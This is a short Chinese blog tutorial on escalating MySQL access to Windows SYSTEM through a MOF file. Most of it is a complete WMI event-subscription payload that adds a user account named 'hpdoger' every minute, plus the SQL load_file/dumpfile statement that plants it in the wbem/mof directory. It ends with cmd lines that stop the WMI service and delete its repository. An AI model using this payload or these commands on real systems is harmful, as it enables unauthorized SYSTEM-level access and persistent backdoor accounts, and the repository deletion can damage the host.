Mysql提權(三)---MOF提權
阿新 • • 發佈:2021-07-05
一、原理
利用了 c:/windows/system32/wbem/mof/ 目錄下的 nullevt.mof 檔案,每分鐘都會在一個特定的時間去執行一次的特性,來寫入我們的cmd命令使其被帶入執行,以系統許可權執行
二、提權的條件
1.windows 03及以下版本
2.mysql啟動身份具有許可權去讀寫c:/windows/system32/wbem/mof目錄
3.secure-file-priv引數不為null
三、nullevt.mof的利用程式碼
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
四、上傳mof
使用sql語句將檔案匯入到c:/windows/system32/wbem/mof/ (一般是win2003 ,Windows2008以上由於保護機制,較少能夠成功(無法寫入))
select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
要注意的是,這裡不能使用outfile,因為會在末端寫入新行,因此mof在被當作二進位制檔案無法正常執行,所以我們用dumpfile匯出一行資料
五、關於MOF提權的弊端
我們提權成功後,就算被刪號,mof也會在五秒內將原賬號重建,那麼這給我們退出測試造成了很大的困擾,所以謹慎使用。那麼我們如何刪掉我們的入侵賬號呢?
cmd 下執行下面語句:
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt